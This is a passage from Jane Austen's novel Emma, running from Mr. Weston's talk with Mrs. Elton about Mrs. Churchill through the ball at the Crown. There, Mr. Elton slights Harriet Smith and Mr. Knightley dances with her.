with such an idea." + +"Is not she? Then she is no rule for Mrs. Churchill, who is +as thorough a fine lady as any body ever beheld." + +Mrs. Elton began to think she had been wrong in disclaiming so warmly. +It was by no means her object to have it believed that her sister +was _not_ a fine lady; perhaps there was want of spirit in the pretence +of it;--and she was considering in what way she had best retract, +when Mr. Weston went on. + +"Mrs. Churchill is not much in my good graces, as you may suspect-- +but this is quite between ourselves. She is very fond of Frank, +and therefore I would not speak ill of her. Besides, she is out of +health now; but _that_ indeed, by her own account, she has always been. +I would not say so to every body, Mrs. Elton, but I have not much +faith in Mrs. Churchill's illness." + +"If she is really ill, why not go to Bath, Mr. Weston?--To Bath, +or to Clifton?" "She has taken it into her head that Enscombe is too +cold for her. The fact is, I suppose, that she is tired of Enscombe. +She has now been a longer time stationary there, than she ever +was before, and she begins to want change. It is a retired place. +A fine place, but very retired." + +"Aye--like Maple Grove, I dare say. Nothing can stand more retired from +the road than Maple Grove. Such an immense plantation all round it! +You seem shut out from every thing--in the most complete retirement.-- +And Mrs. Churchill probably has not health or spirits like Selina +to enjoy that sort of seclusion. Or, perhaps she may not have +resources enough in herself to be qualified for a country life. +I always say a woman cannot have too many resources--and I feel +very thankful that I have so many myself as to be quite independent +of society." + +"Frank was here in February for a fortnight." + +"So I remember to have heard. He will find an _addition_ to the +society of Highbury when he comes again; that is, if I may presume +to call myself an addition. But perhaps he may never have heard +of there being such a creature in the world." + +This was too loud a call for a compliment to be passed by, +and Mr. Weston, with a very good grace, immediately exclaimed, + +"My dear madam! Nobody but yourself could imagine such a +thing possible. Not heard of you!--I believe Mrs. Weston's +letters lately have been full of very little else than Mrs. Elton." + +He had done his duty and could return to his son. + +"When Frank left us," continued he, "it was quite uncertain when we +might see him again, which makes this day's news doubly welcome. +It has been completely unexpected. That is, _I_ always had a strong +persuasion he would be here again soon, I was sure something +favourable would turn up--but nobody believed me. He and Mrs. Weston +were both dreadfully desponding. `How could he contrive to come? +And how could it be supposed that his uncle and aunt would spare +him again?' and so forth--I always felt that something would happen +in our favour; and so it has, you see. I have observed, Mrs. Elton, +in the course of my life, that if things are going untowardly one month, +they are sure to mend the next." + +"Very true, Mr. Weston, perfectly true. It is just what I used +to say to a certain gentleman in company in the days of courtship, +when, because things did not go quite right, did not proceed with all +the rapidity which suited his feelings, he was apt to be in despair, +and exclaim that he was sure at this rate it would be _May_ before +Hymen's saffron robe would be put on for us. Oh! the pains I have +been at to dispel those gloomy ideas and give him cheerfuller views! +The carriage--we had disappointments about the carriage;--one morning, +I remember, he came to me quite in despair." + +She was stopped by a slight fit of coughing, and Mr. Weston instantly +seized the opportunity of going on. + +"You were mentioning May. May is the very month which Mrs. Churchill +is ordered, or has ordered herself, to spend in some warmer place +than Enscombe--in short, to spend in London; so that we have the +agreeable prospect of frequent visits from Frank the whole spring-- +precisely the season of the year which one should have chosen +for it: days almost at the longest; weather genial and pleasant, +always inviting one out, and never too hot for exercise. When he +was here before, we made the best of it; but there was a good deal +of wet, damp, cheerless weather; there always is in February, you know, +and we could not do half that we intended. Now will be the time. +This will be complete enjoyment; and I do not know, Mrs. Elton, +whether the uncertainty of our meetings, the sort of constant +expectation there will be of his coming in to-day or to-morrow, +and at any hour, may not be more friendly to happiness than having +him actually in the house. I think it is so. I think it is the +state of mind which gives most spirit and delight. I hope you +will be pleased with my son; but you must not expect a prodigy. +He is generally thought a fine young man, but do not expect a prodigy. +Mrs. Weston's partiality for him is very great, and, as you may suppose, +most gratifying to me. She thinks nobody equal to him." + +"And I assure you, Mr. Weston, I have very little doubt that my +opinion will be decidedly in his favour. I have heard so much +in praise of Mr. Frank Churchill.--At the same time it is fair +to observe, that I am one of those who always judge for themselves, +and are by no means implicitly guided by others. I give you notice +that as I find your son, so I shall judge of him.--I am no flatterer." + +Mr. Weston was musing. + +"I hope," said he presently, "I have not been severe upon poor +Mrs. Churchill. If she is ill I should be sorry to do her injustice; +but there are some traits in her character which make it difficult +for me to speak of her with the forbearance I could wish. +You cannot be ignorant, Mrs. Elton, of my connexion with the family, +nor of the treatment I have met with; and, between ourselves, +the whole blame of it is to be laid to her. She was the instigator. +Frank's mother would never have been slighted as she was but for her. +Mr. Churchill has pride; but his pride is nothing to his wife's: +his is a quiet, indolent, gentlemanlike sort of pride that would +harm nobody, and only make himself a little helpless and tiresome; +but her pride is arrogance and insolence! And what inclines one less +to bear, she has no fair pretence of family or blood. She was nobody +when he married her, barely the daughter of a gentleman; but ever +since her being turned into a Churchill she has out-Churchill'd them +all in high and mighty claims: but in herself, I assure you, she is +an upstart." + +"Only think! well, that must be infinitely provoking! I have quite +a horror of upstarts. Maple Grove has given me a thorough disgust +to people of that sort; for there is a family in that neighbourhood +who are such an annoyance to my brother and sister from the airs +they give themselves! Your description of Mrs. Churchill made me +think of them directly. People of the name of Tupman, very lately +settled there, and encumbered with many low connexions, but giving +themselves immense airs, and expecting to be on a footing with the old +established families. A year and a half is the very utmost that they can +have lived at West Hall; and how they got their fortune nobody knows. +They came from Birmingham, which is not a place to promise much, +you know, Mr. Weston. One has not great hopes from Birmingham. +I always say there is something direful in the sound: but nothing +more is positively known of the Tupmans, though a good many things +I assure you are suspected; and yet by their manners they evidently +think themselves equal even to my brother, Mr. Suckling, who happens +to be one of their nearest neighbours. It is infinitely too bad. +Mr. Suckling, who has been eleven years a resident at Maple Grove, +and whose father had it before him--I believe, at least--I am +almost sure that old Mr. Suckling had completed the purchase before +his death." + +They were interrupted. Tea was carrying round, and Mr. Weston, +having said all that he wanted, soon took the opportunity of +walking away. + +After tea, Mr. and Mrs. Weston, and Mr. Elton sat down with Mr. Woodhouse +to cards. The remaining five were left to their own powers, +and Emma doubted their getting on very well; for Mr. Knightley seemed +little disposed for conversation; Mrs. Elton was wanting notice, +which nobody had inclination to pay, and she was herself +in a worry of spirits which would have made her prefer being silent. + +Mr. John Knightley proved more talkative than his brother. +He was to leave them early the next day; and he soon began with-- + +"Well, Emma, I do not believe I have any thing more to say about +the boys; but you have your sister's letter, and every thing is +down at full length there we may be sure. My charge would be much +more concise than her's, and probably not much in the same spirit; +all that I have to recommend being comprised in, do not spoil them, +and do not physic them." + +"I rather hope to satisfy you both," said Emma, "for I shall do all +in my power to make them happy, which will be enough for Isabella; +and happiness must preclude false indulgence and physic." + +"And if you find them troublesome, you must send them home again." + +"That is very likely. You think so, do not you?" + +"I hope I am aware that they may be too noisy for your father-- +or even may be some encumbrance to you, if your visiting engagements +continue to increase as much as they have done lately." + +"Increase!" + +"Certainly; you must be sensible that the last half-year has made +a great difference in your way of life." + +"Difference! No indeed I am not." + +"There can be no doubt of your being much more engaged with company +than you used to be. Witness this very time. Here am I come +down for only one day, and you are engaged with a dinner-party!-- +When did it happen before, or any thing like it? Your neighbourhood +is increasing, and you mix more with it. A little while ago, +every letter to Isabella brought an account of fresh gaieties; +dinners at Mr. Cole's, or balls at the Crown. The difference +which Randalls, Randalls alone makes in your goings-on, is very great." + +"Yes," said his brother quickly, "it is Randalls that does it all." + +"Very well--and as Randalls, I suppose, is not likely to have less +influence than heretofore, it strikes me as a possible thing, Emma, +that Henry and John may be sometimes in the way. And if they are, +I only beg you to send them home." + +"No," cried Mr. Knightley, "that need not be the consequence. +Let them be sent to Donwell. I shall certainly be at leisure." + +"Upon my word," exclaimed Emma, "you amuse me! I should like to know +how many of all my numerous engagements take place without your being +of the party; and why I am to be supposed in danger of wanting leisure +to attend to the little boys. These amazing engagements of mine-- +what have they been? Dining once with the Coles--and having a ball +talked of, which never took place. I can understand you--(nodding at +Mr. John Knightley)--your good fortune in meeting with so many of +your friends at once here, delights you too much to pass unnoticed. +But you, (turning to Mr. Knightley,) who know how very, very seldom +I am ever two hours from Hartfield, why you should foresee such a +series of dissipation for me, I cannot imagine. And as to my dear +little boys, I must say, that if Aunt Emma has not time for them, +I do not think they would fare much better with Uncle Knightley, +who is absent from home about five hours where she is absent one-- +and who, when he is at home, is either reading to himself or settling +his accounts." + +Mr. Knightley seemed to be trying not to smile; and succeeded +without difficulty, upon Mrs. Elton's beginning to talk to him. + + + + +VOLUME III + + + +CHAPTER I + + +A very little quiet reflection was enough to satisfy Emma as to the +nature of her agitation on hearing this news of Frank Churchill. +She was soon convinced that it was not for herself she was feeling at +all apprehensive or embarrassed; it was for him. Her own attachment +had really subsided into a mere nothing; it was not worth thinking of;-- +but if he, who had undoubtedly been always so much the most in love +of the two, were to be returning with the same warmth of sentiment +which he had taken away, it would be very distressing. If a separation +of two months should not have cooled him, there were dangers and evils +before her:--caution for him and for herself would be necessary. +She did not mean to have her own affections entangled again, +and it would be incumbent on her to avoid any encouragement of his. + +She wished she might be able to keep him from an absolute declaration. +That would be so very painful a conclusion of their present acquaintance! +and yet, she could not help rather anticipating something decisive. +She felt as if the spring would not pass without bringing a crisis, +an event, a something to alter her present composed and tranquil state. + +It was not very long, though rather longer than Mr. Weston had foreseen, +before she had the power of forming some opinion of Frank Churchill's +feelings. The Enscombe family were not in town quite so soon as had +been imagined, but he was at Highbury very soon afterwards. He rode +down for a couple of hours; he could not yet do more; but as he came +from Randalls immediately to Hartfield, she could then exercise all +her quick observation, and speedily determine how he was influenced, +and how she must act. They met with the utmost friendliness. +There could be no doubt of his great pleasure in seeing her. +But she had an almost instant doubt of his caring for her as he +had done, of his feeling the same tenderness in the same degree. +She watched him well. It was a clear thing he was less in love than he +had been. Absence, with the conviction probably of her indifference, +had produced this very natural and very desirable effect. + +He was in high spirits; as ready to talk and laugh as ever, and seemed +delighted to speak of his former visit, and recur to old stories: +and he was not without agitation. It was not in his calmness that +she read his comparative difference. He was not calm; his spirits +were evidently fluttered; there was restlessness about him. +Lively as he was, it seemed a liveliness that did not satisfy himself; +but what decided her belief on the subject, was his staying only a +quarter of an hour, and hurrying away to make other calls in Highbury. +"He had seen a group of old acquaintance in the street as he passed-- +he had not stopped, he would not stop for more than a word--but he +had the vanity to think they would be disappointed if he did not call, +and much as he wished to stay longer at Hartfield, he must hurry off." +She had no doubt as to his being less in love--but neither his +agitated spirits, nor his hurrying away, seemed like a perfect cure; +and she was rather inclined to think it implied a dread of her +returning power, and a discreet resolution of not trusting himself +with her long. + +This was the only visit from Frank Churchill in the course of ten days. +He was often hoping, intending to come--but was always prevented. +His aunt could not bear to have him leave her. Such was his own account +at Randall's. If he were quite sincere, if he really tried to come, +it was to be inferred that Mrs. Churchill's removal to London had +been of no service to the wilful or nervous part of her disorder. +That she was really ill was very certain; he had declared himself +convinced of it, at Randalls. Though much might be fancy, he could +not doubt, when he looked back, that she was in a weaker state +of health than she had been half a year ago. He did not believe it +to proceed from any thing that care and medicine might not remove, +or at least that she might not have many years of existence before her; +but he could not be prevailed on, by all his father's doubts, to say +that her complaints were merely imaginary, or that she was as strong +as ever. + +It soon appeared that London was not the place for her. She could +not endure its noise. Her nerves were under continual irritation +and suffering; and by the ten days' end, her nephew's letter to +Randalls communicated a change of plan. They were going to remove +immediately to Richmond. Mrs. Churchill had been recommended +to the medical skill of an eminent person there, and had otherwise +a fancy for the place. A ready-furnished house in a favourite +spot was engaged, and much benefit expected from the change. + +Emma heard that Frank wrote in the highest spirits of this arrangement, +and seemed most fully to appreciate the blessing of having two +months before him of such near neighbourhood to many dear friends-- +for the house was taken for May and June. She was told that now +he wrote with the greatest confidence of being often with them, +almost as often as he could even wish. + +Emma saw how Mr. Weston understood these joyous prospects. He was +considering her as the source of all the happiness they offered. +She hoped it was not so. Two months must bring it to the proof. + +Mr. Weston's own happiness was indisputable. He was quite delighted. +It was the very circumstance he could have wished for. Now, it would +be really having Frank in their neighbourhood. What were nine miles +to a young man?--An hour's ride. He would be always coming over. +The difference in that respect of Richmond and London was enough +to make the whole difference of seeing him always and seeing +him never. Sixteen miles--nay, eighteen--it must be full eighteen +to Manchester-street--was a serious obstacle. Were he ever able +to get away, the day would be spent in coming and returning. +There was no comfort in having him in London; he might as well be +at Enscombe; but Richmond was the very distance for easy intercourse. +Better than nearer! + +One good thing was immediately brought to a certainty by this removal,-- +the ball at the Crown. It had not been forgotten before, but it had +been soon acknowledged vain to attempt to fix a day. Now, however, +it was absolutely to be; every preparation was resumed, and very soon +after the Churchills had removed to Richmond, a few lines from Frank, +to say that his aunt felt already much better for the change, +and that he had no doubt of being able to join them for twenty-four +hours at any given time, induced them to name as early a day as possible. + +Mr. Weston's ball was to be a real thing. A very few to-morrows +stood between the young people of Highbury and happiness. + +Mr. Woodhouse was resigned. The time of year lightened the evil +to him. May was better for every thing than February. Mrs. Bates +was engaged to spend the evening at Hartfield, James had due notice, +and he sanguinely hoped that neither dear little Henry nor dear +little John would have any thing the matter with them, while dear +Emma were gone. + + + +CHAPTER II + + +No misfortune occurred, again to prevent the ball. The day approached, +the day arrived; and after a morning of some anxious watching, +Frank Churchill, in all the certainty of his own self, reached Randalls +before dinner, and every thing was safe. + +No second meeting had there yet been between him and Emma. +The room at the Crown was to witness it;--but it would be better +than a common meeting in a crowd. Mr. Weston had been so very +earnest in his entreaties for her arriving there as soon as possible +after themselves, for the purpose of taking her opinion as to the +propriety and comfort of the rooms before any other persons came, +that she could not refuse him, and must therefore spend some quiet +interval in the young man's company. She was to convey Harriet, +and they drove to the Crown in good time, the Randalls party just +sufficiently before them. + +Frank Churchill seemed to have been on the watch; and though +he did not say much, his eyes declared that he meant to have +a delightful evening. They all walked about together, to see +that every thing was as it should be; and within a few minutes +were joined by the contents of another carriage, which Emma +could not hear the sound of at first, without great surprize. +"So unreasonably early!" she was going to exclaim; but she presently +found that it was a family of old friends, who were coming, like herself, +by particular desire, to help Mr. Weston's judgment; and they were +so very closely followed by another carriage of cousins, who had been +entreated to come early with the same distinguishing earnestness, +on the same errand, that it seemed as if half the company might +soon be collected together for the purpose of preparatory inspection. + +Emma perceived that her taste was not the only taste on which +Mr. Weston depended, and felt, that to be the favourite and +intimate of a man who had so many intimates and confidantes, +was not the very first distinction in the scale of vanity. +She liked his open manners, but a little less of open-heartedness +would have made him a higher character.--General benevolence, +but not general friendship, made a man what he ought to be.-- +She could fancy such a man. The whole party walked about, +and looked, and praised again; and then, having nothing else to do, +formed a sort of half-circle round the fire, to observe in their +various modes, till other subjects were started, that, though _May_, +a fire in the evening was still very pleasant. + +Emma found that it was not Mr. Weston's fault that the number +of privy councillors was not yet larger. They had stopped +at Mrs. Bates's door to offer the use of their carriage, +but the aunt and niece were to be brought by the Eltons. + +Frank was standing by her, but not steadily; there was a restlessness, +which shewed a mind not at ease. He was looking about, he was going +to the door, he was watching for the sound of other carriages,-- +impatient to begin, or afraid of being always near her. + +Mrs. Elton was spoken of. "I think she must be here soon," said he. +"I have a great curiosity to see Mrs. Elton, I have heard so much +of her. It cannot be long, I think, before she comes." + +A carriage was heard. He was on the move immediately; +but coming back, said, + +"I am forgetting that I am not acquainted with her. I have never seen +either Mr. or Mrs. Elton. I have no business to put myself forward." + +Mr. and Mrs. Elton appeared; and all the smiles and the proprieties passed. + +"But Miss Bates and Miss Fairfax!" said Mr. Weston, looking about. +"We thought you were to bring them." + +The mistake had been slight. The carriage was sent for them now. +Emma longed to know what Frank's first opinion of Mrs. Elton +might be; how he was affected by the studied elegance of her dress, +and her smiles of graciousness. He was immediately qualifying +himself to form an opinion, by giving her very proper attention, +after the introduction had passed. + +In a few minutes the carriage returned.--Somebody talked of rain.-- +"I will see that there are umbrellas, sir," said Frank to his father: +"Miss Bates must not be forgotten:" and away he went. Mr. Weston +was following; but Mrs. Elton detained him, to gratify him by her +opinion of his son; and so briskly did she begin, that the young +man himself, though by no means moving slowly, could hardly be out +of hearing. + +"A very fine young man indeed, Mr. Weston. You know I candidly told +you I should form my own opinion; and I am happy to say that I am +extremely pleased with him.--You may believe me. I never compliment. +I think him a very handsome young man, and his manners are precisely +what I like and approve--so truly the gentleman, without the least +conceit or puppyism. You must know I have a vast dislike to puppies-- +quite a horror of them. They were never tolerated at Maple Grove. +Neither Mr. Suckling nor me had ever any patience with them; and we +used sometimes to say very cutting things! Selina, who is mild almost +to a fault, bore with them much better." + +While she talked of his son, Mr. Weston's attention was chained; +but when she got to Maple Grove, he could recollect that there were +ladies just arriving to be attended to, and with happy smiles must +hurry away. + +Mrs. Elton turned to Mrs. Weston. "I have no doubt of its being +our carriage with Miss Bates and Jane. Our coachman and horses are +so extremely expeditious!--I believe we drive faster than any body.-- +What a pleasure it is to send one's carriage for a friend!-- +I understand you were so kind as to offer, but another time it +will be quite unnecessary. You may be very sure I shall always +take care of _them_." + +Miss Bates and Miss Fairfax, escorted by the two gentlemen, +walked into the room; and Mrs. Elton seemed to think it as much +her duty as Mrs. Weston's to receive them. Her gestures and +movements might be understood by any one who looked on like Emma; +but her words, every body's words, were soon lost under the +incessant flow of Miss Bates, who came in talking, and had not +finished her speech under many minutes after her being admitted +into the circle at the fire. As the door opened she was heard, + +"So very obliging of you!--No rain at all. Nothing to signify. +I do not care for myself. Quite thick shoes. And Jane declares-- +Well!--(as soon as she was within the door) Well! This is brilliant +indeed!--This is admirable!--Excellently contrived, upon my word. +Nothing wanting. Could not have imagined it.--So well lighted up!-- +Jane, Jane, look!--did you ever see any thing? Oh! Mr. Weston, +you must really have had Aladdin's lamp. Good Mrs. Stokes +would not know her own room again. I saw her as I came in; +she was standing in the entrance. `Oh! Mrs. Stokes,' said I-- +but I had not time for more." She was now met by Mrs. Weston.-- +"Very well, I thank you, ma'am. I hope you are quite well. +Very happy to hear it. So afraid you might have a headache!-- +seeing you pass by so often, and knowing how much trouble you must have. +Delighted to hear it indeed. Ah! dear Mrs. Elton, so obliged +to you for the carriage!--excellent time. Jane and I quite ready. +Did not keep the horses a moment. Most comfortable carriage.-- +Oh! and I am sure our thanks are due to you, Mrs. Weston, on that score. +Mrs. Elton had most kindly sent Jane a note, or we should have been.-- +But two such offers in one day!--Never were such neighbours. +I said to my mother, `Upon my word, ma'am--.' Thank you, my mother +is remarkably well. Gone to Mr. Woodhouse's. I made her take +her shawl--for the evenings are not warm--her large new shawl-- +Mrs. Dixon's wedding-present.--So kind of her to think of my mother! +Bought at Weymouth, you know--Mr. Dixon's choice. There were +three others, Jane says, which they hesitated about some time. +Colonel Campbell rather preferred an olive. My dear Jane, +are you sure you did not wet your feet?--It was but a drop or two, +but I am so afraid:--but Mr. Frank Churchill was so extremely-- +and there was a mat to step upon--I shall never forget his +extreme politeness.--Oh! Mr. Frank Churchill, I must tell you +my mother's spectacles have never been in fault since; the rivet +never came out again. My mother often talks of your good-nature. +Does not she, Jane?--Do not we often talk of Mr. Frank Churchill?-- +Ah! here's Miss Woodhouse.--Dear Miss Woodhouse, how do you do?-- +Very well I thank you, quite well. This is meeting quite in fairy-land!-- +Such a transformation!--Must not compliment, I know (eyeing Emma +most complacently)--that would be rude--but upon my word, Miss Woodhouse, +you do look--how do you like Jane's hair?--You are a judge.-- +She did it all herself. Quite wonderful how she does her hair!-- +No hairdresser from London I think could.--Ah! Dr. Hughes I declare-- +and Mrs. Hughes. Must go and speak to Dr. and Mrs. Hughes for +a moment.--How do you do? How do you do?--Very well, I thank you. +This is delightful, is not it?--Where's dear Mr. Richard?-- +Oh! there he is. Don't disturb him. Much better employed talking +to the young ladies. How do you do, Mr. Richard?--I saw you the +other day as you rode through the town--Mrs. Otway, I protest!-- +and good Mr. Otway, and Miss Otway and Miss Caroline.--Such a host +of friends!--and Mr. George and Mr. Arthur!--How do you do? How do +you all do?--Quite well, I am much obliged to you. Never better.-- +Don't I hear another carriage?--Who can this be?--very likely the +worthy Coles.--Upon my word, this is charming to be standing about +among such friends! And such a noble fire!--I am quite roasted. +No coffee, I thank you, for me--never take coffee.--A little tea +if you please, sir, by and bye,--no hurry--Oh! here it comes. +Every thing so good!" + +Frank Churchill returned to his station by Emma; and as soon as Miss +Bates was quiet, she found herself necessarily overhearing the +discourse of Mrs. Elton and Miss Fairfax, who were standing a little +way behind her.--He was thoughtful. Whether he were overhearing too, +she could not determine. After a good many compliments to Jane +on her dress and look, compliments very quietly and properly taken, +Mrs. Elton was evidently wanting to be complimented herself-- +and it was, "How do you like my gown?--How do you like my trimming?-- +How has Wright done my hair?"--with many other relative questions, +all answered with patient politeness. Mrs. Elton then said, +"Nobody can think less of dress in general than I do--but upon such +an occasion as this, when every body's eyes are so much upon me, +and in compliment to the Westons--who I have no doubt are giving +this ball chiefly to do me honour--I would not wish to be inferior +to others. And I see very few pearls in the room except mine.-- +So Frank Churchill is a capital dancer, I understand.--We shall see +if our styles suit.--A fine young man certainly is Frank Churchill. +I like him very well." + +At this moment Frank began talking so vigorously, that Emma could +not but imagine he had overheard his own praises, and did not want +to hear more;--and the voices of the ladies were drowned for a while, +till another suspension brought Mrs. Elton's tones again distinctly +forward.--Mr. Elton had just joined them, and his wife was exclaiming, + +"Oh! you have found us out at last, have you, in our seclusion?-- +I was this moment telling Jane, I thought you would begin to be +impatient for tidings of us." + +"Jane!"--repeated Frank Churchill, with a look of surprize and displeasure.-- +"That is easy--but Miss Fairfax does not disapprove it, I suppose." + +"How do you like Mrs. Elton?" said Emma in a whisper. + +"Not at all." + +"You are ungrateful." + +"Ungrateful!--What do you mean?" Then changing from a frown to +a smile--"No, do not tell me--I do not want to know what you mean.-- +Where is my father?--When are we to begin dancing?" + +Emma could hardly understand him; he seemed in an odd humour. +He walked off to find his father, but was quickly back again with both +Mr. and Mrs. Weston. He had met with them in a little perplexity, +which must be laid before Emma. It had just occurred to Mrs. Weston +that Mrs. Elton must be asked to begin the ball; that she would +expect it; which interfered with all their wishes of giving Emma +that distinction.--Emma heard the sad truth with fortitude. + +"And what are we to do for a proper partner for her?" said Mr. Weston. +"She will think Frank ought to ask her." + +Frank turned instantly to Emma, to claim her former promise; +and boasted himself an engaged man, which his father looked his most +perfect approbation of--and it then appeared that Mrs. Weston was +wanting _him_ to dance with Mrs. Elton himself, and that their business +was to help to persuade him into it, which was done pretty soon.-- +Mr. Weston and Mrs. Elton led the way, Mr. Frank Churchill and Miss +Woodhouse followed. Emma must submit to stand second to Mrs. Elton, +though she had always considered the ball as peculiarly for her. +It was almost enough to make her think of marrying. Mrs. Elton had +undoubtedly the advantage, at this time, in vanity completely gratified; +for though she had intended to begin with Frank Churchill, she could +not lose by the change. Mr. Weston might be his son's superior.-- +In spite of this little rub, however, Emma was smiling with enjoyment, +delighted to see the respectable length of the set as it was forming, +and to feel that she had so many hours of unusual festivity before her.-- +She was more disturbed by Mr. Knightley's not dancing than by any +thing else.--There he was, among the standers-by, where he ought not +to be; he ought to be dancing,--not classing himself with the husbands, +and fathers, and whist-players, who were pretending to feel an interest +in the dance till their rubbers were made up,--so young as he looked!-- +He could not have appeared to greater advantage perhaps anywhere, +than where he had placed himself. His tall, firm, upright figure, +among the bulky forms and stooping shoulders of the elderly men, +was such as Emma felt must draw every body's eyes; and, excepting her +own partner, there was not one among the whole row of young men +who could be compared with him.--He moved a few steps nearer, +and those few steps were enough to prove in how gentlemanlike +a manner, with what natural grace, he must have danced, would he +but take the trouble.--Whenever she caught his eye, she forced him +to smile; but in general he was looking grave. She wished he could +love a ballroom better, and could like Frank Churchill better.-- +He seemed often observing her. She must not flatter herself that he +thought of her dancing, but if he were criticising her behaviour, +she did not feel afraid. There was nothing like flirtation between +her and her partner. They seemed more like cheerful, easy friends, +than lovers. That Frank Churchill thought less of her than he had done, +was indubitable. + +The ball proceeded pleasantly. The anxious cares, the incessant +attentions of Mrs. Weston, were not thrown away. Every body +seemed happy; and the praise of being a delightful ball, +which is seldom bestowed till after a ball has ceased to be, +was repeatedly given in the very beginning of the existence of this. +Of very important, very recordable events, it was not more productive +than such meetings usually are. There was one, however, which Emma +thought something of.--The two last dances before supper were begun, +and Harriet had no partner;--the only young lady sitting down;-- +and so equal had been hitherto the number of dancers, that how there +could be any one disengaged was the wonder!--But Emma's wonder +lessened soon afterwards, on seeing Mr. Elton sauntering about. +He would not ask Harriet to dance if it were possible to be avoided: +she was sure he would not--and she was expecting him every moment to +escape into the card-room. + +Escape, however, was not his plan. He came to the part of the room +where the sitters-by were collected, spoke to some, and walked about +in front of them, as if to shew his liberty, and his resolution +of maintaining it. He did not omit being sometimes directly +before Miss Smith, or speaking to those who were close to her.-- +Emma saw it. She was not yet dancing; she was working her way +up from the bottom, and had therefore leisure to look around, +and by only turning her head a little she saw it all. When she was +half-way up the set, the whole group were exactly behind her, and she +would no longer allow her eyes to watch; but Mr. Elton was so near, +that she heard every syllable of a dialogue which just then took +place between him and Mrs. Weston; and she perceived that his wife, +who was standing immediately above her, was not only listening also, +but even encouraging him by significant glances.--The kind-hearted, +gentle Mrs. Weston had left her seat to join him and say, "Do not +you dance, Mr. Elton?" to which his prompt reply was, "Most readily, +Mrs. Weston, if you will dance with me." + +"Me!--oh! no--I would get you a better partner than myself. +I am no dancer." + +"If Mrs. Gilbert wishes to dance," said he, "I shall have great pleasure, +I am sure--for, though beginning to feel myself rather an old married man, +and that my dancing days are over, it would give me very great +pleasure at any time to stand up with an old friend like Mrs. Gilbert." + +"Mrs. Gilbert does not mean to dance, but there is a young lady +disengaged whom I should be very glad to see dancing--Miss Smith." +"Miss Smith!--oh!--I had not observed.--You are extremely obliging-- +and if I were not an old married man.--But my dancing days are over, +Mrs. Weston. You will excuse me. Any thing else I should be most happy +to do, at your command--but my dancing days are over." + +Mrs. Weston said no more; and Emma could imagine with what +surprize and mortification she must be returning to her seat. +This was Mr. Elton! the amiable, obliging, gentle Mr. Elton.-- +She looked round for a moment; he had joined Mr. Knightley at a +little distance, and was arranging himself for settled conversation, +while smiles of high glee passed between him and his wife. + +She would not look again. Her heart was in a glow, and she feared +her face might be as hot. + +In another moment a happier sight caught her;--Mr. Knightley +leading Harriet to the set!--Never had she been more surprized, +seldom more delighted, than at that instant. She was all pleasure +and gratitude, both for Harriet and herself, and longed to be +thanking him; and though too distant for speech, her countenance +said much, as soon as she could catch his eye again. + +His dancing proved to be just what she had believed it, +extremely good; and Harriet would have seemed almost too lucky, +if it had not been for the cruel state of things before, and for +the very complete enjoyment and very high sense of the distinction +which her happy features announced. It was not thrown away on her, +she bounded higher than ever, flew farther down the middle, +and was in a continual course of smiles. + +Mr. Elton had retreated into the card-room, looking (Emma trusted) +very foolish. She did not think he was quite so hardened as his wife, +though growing very like her;--_she_ spoke some of her feelings, +by observing audibly to her partner, + +"Knightley has taken pity on poor little Miss Smith!--Very goodnatured, +I declare." + +Supper was announced. The move began; and Miss Bates might be +heard from that moment, without interruption, till her being +seated at table and taking up her spoon. + +"Jane, Jane, my dear Jane, where are you?--Here is your tippet. +Mrs. Weston begs you to put on your tippet. She says she is afraid +there will be draughts in the passage, though every thing has +been done--One door nailed up--Quantities of matting--My dear Jane, +indeed you must. Mr. Churchill, oh! you are too obliging! +How well you put it on!--so gratified! Excellent dancing indeed!-- +Yes, my dear, I ran home, as I said I should, to help grandmama +to bed, and got back again, and nobody missed me.--I set off without +saying a word, just as I told you. Grandmama was quite well, +had a charming evening with Mr. Woodhouse, a vast deal of chat, +and backgammon.--Tea was made downstairs, biscuits and baked apples +and wine before she came away: amazing luck in some of her throws: +and she inquired a great deal about you, how you were amused, +and who were your partners. `Oh!' said I, `I shall not forestall Jane; +I left her dancing with Mr. George Otway; she will love to tell you +all about it herself to-morrow: her first partner was Mr. Elton, +I do not know who will ask her next, perhaps Mr. William Cox.' +My dear sir, you are too obliging.--Is there nobody you would +not rather?--I am not helpless. Sir, you are most kind. Upon my word, +Jane on one arm, and me on the other!--Stop, stop, let us stand +a little back, Mrs. Elton is going; dear Mrs. Elton, how elegant +she looks!--Beautiful lace!--Now we all follow in her train. +Quite the queen of the evening!--Well, here we are at the passage. +Two steps, Jane, take care of the two steps. Oh! no, there is +but one. Well, I was persuaded there were two. How very odd! +I was convinced there were two, and there is but one. I never saw any +thing equal to the comfort and style--Candles everywhere.--I was telling +you of your grandmama, Jane,--There was a little disappointment.-- +The baked apples and biscuits, excellent in their way, you know; +but there was a delicate fricassee of sweetbread and some asparagus +brought in at first, and good Mr. Woodhouse, not thinking the +asparagus quite boiled enough, sent it all out again. Now there +is nothing grandmama loves better than sweetbread and asparagus-- +so she was rather disappointed, but we agreed we would not speak of it +to any body, for fear of its getting round to dear Miss Woodhouse, +who would be so very much concerned!--Well, this is brilliant! +I am all amazement! could not have supposed any thing!--Such +elegance and profusion!--I have seen nothing like it since-- +Well, where shall we sit? where shall we sit? Anywhere, so that +Jane is not in a draught. Where _I_ sit is of no consequence. +Oh! do you recommend this side?--Well, I am sure, Mr. Churchill-- +only it seems too good--but just as you please. What you direct +in this house cannot be wrong. Dear Jane, how shall we ever +recollect half the dishes for grandmama? Soup too! Bless me! +I should not be helped so soon, but it smells most excellent, and I +cannot help beginning." + +Emma had no opportunity of speaking to Mr. Knightley till +after supper; but, when they were all in the ballroom again, +her eyes invited him irresistibly to come to her and be thanked. +He was warm in his reprobation of Mr. Elton's conduct; it had been +unpardonable rudeness; and Mrs. Elton's looks also received the due +share of censure. + +"They aimed at wounding more than Harriet," said he. "Emma, why +is it that they are your enemies?" + +He looked with smiling penetration; and, on receiving +no answer, added, "_She_ ought not to be angry with you, I suspect, +whatever he may be.--To that surmise, you say nothing, of course; +but confess, Emma, that you did want him to marry Harriet." + +"I did," replied Emma, "and they cannot forgive me." + +He shook his head; but there was a smile of indulgence with it, +and he only said, + +"I shall not scold you. I leave you to your own reflections." + +"Can you trust me with such flatterers?--Does my vain spirit ever +tell me I am wrong?" + +"Not your vain spirit, but your serious spirit.--If one leads +you wrong, I am sure the other tells you of it." + +"I do own myself to have been completely mistaken in Mr. Elton. +There is a littleness about him which you discovered, and which I +did not: and I was fully convinced of his being in love with Harriet. +It was through a series of strange blunders!" + +"And, in return for your acknowledging so much, I will do you the justice +to say, that you would have chosen for him better than he has chosen for +himself.--Harriet Smith has some first-rate qualities, which Mrs. Elton 